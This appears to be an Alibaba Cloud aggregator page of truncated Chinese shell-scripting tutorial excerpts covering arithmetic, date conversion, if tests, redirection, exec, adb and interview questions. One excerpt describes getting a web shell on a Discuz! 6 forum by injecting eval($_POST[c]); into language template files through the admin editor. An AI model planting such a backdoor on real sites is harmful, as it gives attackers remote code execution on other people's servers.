shell算數運算

((i=$j+$k))    等價於 i=`expr $j + $k`((i=$j-$k))     等價於   i=`expr $j -$k`((i=$j*$k))     等價於   i=`expr $j \*$k`((i=$j/$k))     等價於   i=`expr $j /$k`Let expressions 執行一個或多個運算式。運算式中的變數前不必有$.如果運算式中包含了空格或其他特殊字元,則必須引起來。例:let “I = I + 1” 或 let

shell時間(字串和時間戳記轉換)

在shell中,字串轉換為時間戳記可以這樣做: date -d "2010-10-18 00:00:00" +%s輸出形如:1287331200其中,-d參數表示顯示指定的字串所表示的時間,+%s表示輸出時間戳記。而時間戳記轉換為字串可以這樣做:date -d @1287331200輸出形如:Mon Oct 18 00:00:00 CST 2010文章來源:http://www.codelast.com/如果要轉換成“2010-10-18

shell 指令碼測試

待處理的檔案aaa.log內容:09/26    00:00:08    116.41834259033203    39.90071597768346    116.60888671875    35.38904996691167    502516.70740909/26    00:01:34    121.13089397549632    30.98941357306606    121.55966117978099    31.149880293437714    44614.897

讓windows的GNU emacs預設shell啟動cygwin bash

區區的好友Victor告知說他打算轉用cygwin版的emacs了,為了更加方便的整合他開發MTK時的bash環境。 於我這也google了一下cygwin emacs等主題。。結果在這時(http://www.khngai.com/emacs/cygwin.php)找到一些非常用的定製。。  (add-hook 'eshell-mode-hook   '(lambda nil   (eshell/export "EPOCROOT=//SomeWhere//")   (let ((path)) 

android adb shell工具製作

1.將  adb 工具下的以下三個 adb.exeAdbWinUsbApi.dllAdbWinApi.dll檔案安裝到  C:\WINDOWS\system32  2.編寫一個test.bat檔案 adb push "\\192.168.2.76\jiangsai\mc850\庫\不動態產生撥號指令碼\system" /systemadb shell chmod 4777 /system/bin/rildadb shell chmod 4777 /system/bin/pppdadb

功能強大的shell:if條件陳述式

if語句測試條件,測試條件返回真(0)或假(1)後,可相應執行一系列語句。if語句結構對錯誤檢查非常有用。其格式為:if 條件1    then 命令1elif 條件2    then 命令2else     命令3fiif語句必須以單詞fi終止。在if語句中漏寫fi是最一般的錯誤。我自己有時也是這樣。elif和else為可選項,如果語句中沒有否則部分,那麼就不需要elif和else部分。if語句可以有許多elif部分。來,做個例子:[root@localhost /]# vi ifcp.sh#

shell 2>&1 解釋

一直以來對shell並不是很熟悉,並且在報錯日誌的時候習慣的寫 command >log.log 2>&1今天一個同事看了我的shell指令碼,問我 2>&1是什麼意思,還真把我給難住了。經過google了一番,有了個大概的瞭解: shell的標準輸入預設的是鍵盤,也可以試檔案或者管道 |標準輸出預設是終端同樣也可以是檔案或者管道標準錯誤預設也是終端,可以試檔案等 標準的輸入、輸出、和錯誤輸出分別表示STDIN STDOUT STDERR 也可以用數字表示 0 

linux指令碼編程(shell)淺介

linux 下最重要的指令碼語言算是 bash 了,我也就寫點這個吧(我也只會這個:))。跟其他開發語言(如C)比,bash是比較簡單的一種語言,主要用於寫一些指令碼代碼,一些批處理或安裝程式。你可以看看在/etc/init.d/目錄下,那裡就有很多用來控制各個服務的腳本檔案。 先看一個“hello world!”的例子: 在某個目錄下建立一個檔案,叫hello.sh,敲入以下代碼:#!/bin/shecho "hello world!" 好,就這些。儲存,在命令提示字元下進入儲存“hello.

shell if 判斷語句

轉自http://vc88.javaeye.com/blog/658764 shell if 判讀語句[ 前後空格] 前面空格[ -a FILE ] 如果 FILE 存在則為真。[ -b FILE ] 如果 FILE 存在且是一個塊特殊檔案則為真。[ -c FILE ] 如果 FILE 存在且是一個字特殊檔案則為真。[ -d FILE ] 如果 FILE 存在且是一個目錄則為真。[ -e FILE ] 如果 FILE 存在則為真。[ -f FILE ] 如果 FILE

Shell 編程與命令 無關

Shell是一種具備特殊功能的程式,它是介於使用者和unix和linux作業系統之核心程式(Kernel)間的一個介面;各種作業系統都有它自己的shell,以DOS為例,它的Shell就是command.com檔;如同DOS下的NDOS,4DOS,DRDOS等...UNIX下除了Bourneshell,C shell,korn shell,bourne again shell ,tenex

分享平時工作中那些給力的shell命令

1.顯示消耗記憶體/CPU最多的10個進程ps aux | sort -nk +4 | tailps aux | sort -nk +3 | tail——————————————————————————————————————————2.查看Apache的並發請求數及其TCP串連狀態netstat -n | awk ‘/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}’————————————————————————————————————————

Linux的那些事兒(13)—-Shell編程

寫文章之前我想大家必須知道什麼是shell編程以及shell編程和C/C++編程的區別是什嗎?本人的認識是shell編程就是運用linux的操作命令按照一定的文法進行編程與C/C++的區別在於,shell編程具有一定的平台相關性,也就是說某些命令在這個Linux作業系統可以用,但是在另外一個linux下就不一定可以用了,而C/C++編程卻可以達到平台無關性。如果你不介意已耗用時間,大可以採用shell編程,因為簡單。如果考慮到平台無關性,則要考慮通用的shell命令或者C/C++編程。1、She

一條shell統計程式碼數

Xcode統計代碼,用shell命令即可,非常簡單。開啟終端,進入你的工程目錄,執行下列代碼find . -name "*.m" -or -name "*.h" -or -name "*.html" -or -name "*.c" |xargs wc -l如果要統計ios開發代碼,包括標頭檔的,命令如下find . -name "*.m" -or -name "*.h" -or -name "*.html" -or -name "*.c" |xargs grep -v "^$"|wc

ubuntu下chsh命令無法改變預設shell的問題(已解決)

系統:ubuntu 9.04 一linux教材中說:“在登陸後,鍵入 chsh 並按<Enter>可以改變預設 shell。根據系統的不同,您可能被要求輸入您登陸的密碼與將要使用的 shell 的名字。請輸入將要使用的 shell 的完整路徑,比如輸入 /bin/tcsh 表示改變到 TC shell。不過這種方式要求您是系統管理員才行,換句話說,您要以 root

安裝android apk包/adb shell的常見問題及解決

 1 Installation error: INSTALL_FAILED_INSUFFICIENT_STORAGE解決辦法:1. 資料線串連電腦,以“磁碟機”方式串連。2. 進入sdcard下的.android_secure目錄(需要使用第三方的資源管理員)3. 刪除該目錄下的smdl2tmp1.asec檔案。如果該目錄沒有使用smdl2tmp1.asec檔案,adb shell執行如下命令:rm /mnt/secure/asec/smdl2tmp1.asec2*.java 檔案 和

經典shell面試題整理

一、取出/etc/passwd檔案中shell出現的次數問題:下面是一個/etc/passwd檔案的部分內容。題目要求取出shell並統計次數,shell是指後面的/bin/bash,/sbin/nologin等,如下面/bin/bash出現12次,/sbin/nologin出現3次。hyn:x:525:500::/home/hyn:/bin/bashljlxx:x:526:500::/home/ljlxx:/bin/bashlzj:x:527:500::/home/lzj:/bin/bashw

shell內建命令exec的介紹

shell內建命令exec   shell的內建命令exec很有意思,它將並不啟動新的shell,而是用要被執行命令替換當前的shell進程,並且將老進程的環境清理掉,而且exec命令後的其它命令將不再執行。因此,如果你在一個shell裡面,執行execls那麼,當列出了目前的目錄後,這個shell就自己退出了,因為這個shell進程已被替換為僅僅執行ls命令的一個進程,執行結束自然也就退出了。為了避免這個影響我們的使用,一般將exec命令放到一個shell指令碼裡面,用主指令碼調用這個指令碼,

Shell批量改名

========================================================================================rename [ -v ] [ -n ] [ -f ] perlexpr [ files ]-v, --verboseVerbose: print names of files successfully renamed.-n, --no-actNo Action: show what files would have

[原創]Discuz! 6 後台拿Shell的方法

        如果後台可以線上編輯模板的話,下面的方法就可以拿SHELL了:) 1.後台編輯customfaq(customfaq.lang.php檔案) 在Copy code eval($_POST[c]); 2.後台編輯misc(misc.lang.php檔案) 把post_reply_quote對應的內容改為 Copy code ";eval($_POST[c]);" 在前台回帖處選擇引用回複。 簡單看下代碼: include/newreply.inc.php 107行: Copy

shell:date 常用方式

shell:date 常用方式在linux下擷取時間字串命令 date# 以yyyymmdd格式輸出23天之前現在這個時刻的時間$ date +%Y%m%d –date=’23 days ago’$ date -uThu Sep 28 09:32:04 UTC 2006$ date -RThu, 28 Sep 2006 17:32:28 +0800# 測試十億分之一秒$ date +’%Y%m%d %H:%M:%S.%N’;date +’%Y%m%d %H:%M:%S.%N’;date

總頁數: 301 1 .... 99 100 101 102 103 .... 301 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.